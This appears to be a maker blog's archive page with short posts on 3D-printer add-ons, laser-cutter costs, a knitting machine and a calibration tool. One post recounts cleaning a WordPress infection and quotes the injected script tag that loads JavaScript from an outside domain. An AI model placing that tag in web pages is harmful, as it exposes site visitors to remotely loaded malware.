I’m curious – has anyone out there retrofitted their MakerBot Cupcake CNC, MakerBot Thing-O-Matic, or RepRap1 with a cutting device? I recall seeing an example of someone creating a laser cutter, but I was particularly interested in whether someone had made a cutting device using a blade.
If so, what kinds of blades did you use? Did you create your own? Did you use off-the-shelf replacement parts for a commercial robo-cutter?
Well, that was exciting. Apparently my website had been attached by some kind of SQL injection. I was curious if my self-hosted WordPress website had been attacked like 4,300 others. After some digging around, I found that this was not the case. A scan by UnmaskParasites.com revealed nothing unusual. However, a scan by Sucuri’s SiteCheck revealed some Javascript malware entries in some posts.
I say “some” posts. By this I mean 3300 posts and post revisions dating back to the very first blog entry on this website going to as recently as July 13, 2011. Not including this post, I’ve got 721 published blog entries – with almost all containing this little gem:
<script type=”text/javascript” src=”http://jsss.ce.ms/16″></script><script type=”text/javascript” src=”http://jsss.ce.ms/16″></script>
Here’s what I did to clean this infection:
It’s definitely possible to create a little WordPress plugin to clean this kind of an infection out, but there’s little incentive to do so when the manual fix is relatively easy. If you’ve got this kind of an infection in your site and don’t know how to take care of it, drop me a line.
After consideration, maybe not. Following Maker Faire Bay Area 2011 I was again prompted to investigate the feasibility of a lasercutter. Now, I don’t have any great big grand plans for one – I just think it would be awesome to have one and I would be able to think of some pretty sweet uses for it if I had one lying around.
In any case, from what I can see there are some small and very professional looking fully assembled models starting around $8000. 1 As a hobbyist with no actual plans for immediate use of a lasercutter, this is way way too much for random projects.
I’ve seen a few websites that purport to have models for around $2,500 or so with kit options starting around $1800. The way I look at it, there’s not a lot that can go wrong with a 3D printer. A laser on the other hand… could blind, burn, and cut from an arbitrary distance. Besides, if a company can’t put together a simple WordPress website, I’m hesitant to drop thousands of dollars on their product. 2
There’s also two DIY options – the open source BuildLog.net and the promised-to-be-open-source Lasersaur. It’s not exactly fair to criticize them for incomplete documentation. BuildLog.net appears to be a collection of people documenting their laser cutter builds and aren’t advertising themselves as a complete tutorial. Lasersaur started off as a very popular Kickstarter project but their site was almost devoid of information or developments until they re-surfaced at Maker Faire Bay Area 2011. Going through the Lasersaur’s bill of materials I stopped tallying the cost once it hit $4,000.00. At that point, it probably doesn’t make sense for me to try building my own.
For the time being, I don’t think I’m going to invest in a lasercutter, DIY kit, or open source project. Besides, there are plenty of places in the Bay Area nearby I could have something cut or rent time on a machine. If there was a project for up to, say, $2500 and had really great documentation, I might reconsider – but I don’t see that happening soon.
A printable knitting machine?! Awesome. Everything about this is just plain awesome.
3/9/2008: “Homemade knitting machine using old printer parts, two servos and a Picaxe-18x microcontroller”
2/7/2009: “Faster machine with new carriage, needle and wool drive designs.”
4/30/2009: “Semi automatic machine where the needles are fixed.”
11/7/2009: “Simple to construct and use knitting gadget”
Dang. I have zero desire to knit – but I really kinda want to build these…
Also, obligatory reference to evidence of my evil lazzor dinosaur army defeating Team Buser. Also, thanks to one Tony Buser for the above info and links!
…the Hollywood foreign press…
Actually, huge thanks to Dave Durant for the math and answering questions, Renosis for exhaustive testing and feedback. Thanks also to all of the other beta testers of whom there are too many to name. Um, they’re playing the music,… uh, uh, Honey – we did it! Um… Free Tibet! and… um… I’m King of the World1 !!!
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In seriousness, since the launch of the first ProfileMaker v1.0 less than a week ago there have been 152 profile settings generated and the beta testers generated 270 profile settings through ProfileMaker v2.0. Version 2.0 incorporates many of the things mentioned in the recent poll. 2 Here are some of those improvements:
I’ve already begun work on ProfileMaker 3.0. If you want to help as a beta tester, or get the math involved, or want to help kick the tires of the user interface please drop me a line or leave a comment.
A few cosmetic details to work out yet… but I’m almost ready to launch the second version of my ProfileMaker. I released the first version late last night.
I’d like to think that I’ve increased the number of options while still keeping a slim and intuitive user interface. I would really appreciate any comments, criticisms, or questions you may have.
What ProfileMaker feature would you like next?
Some of this write up is over at Thingiverse and some of it is at the end of the ProfileMaker page.
Dave Durant’s program for solving for flowrate is really incredibly helpful. It is truly a shame that it isn’t more widely used. I think part of the problem might have been people were intimidated by all the buttons and part of the problem was that it was a Windows only application. There has since been a port to Java, but that’s not as convenient as a truly web based version.
I’ve hard coded the most common options, but fully intend to bring them back later as advanced options. For now I just wanted to whip something together to help people out and show them just how easy calibration can really be. Give it a shot. If you haven’t printed at 0.2mm layers before, give it a whirl!
I’m really really looking forward to being able to enter values into Skeinforge from my cell phone.
Your suggestions, comments, questions, criticism, e-mails, etc are all welcome and invited.
Not knowing a thing about C++, I think I’ve been able to fumble my way through Dave’s code to the point I can replicate his calculations.
On to coding!
A conversation from bedtime: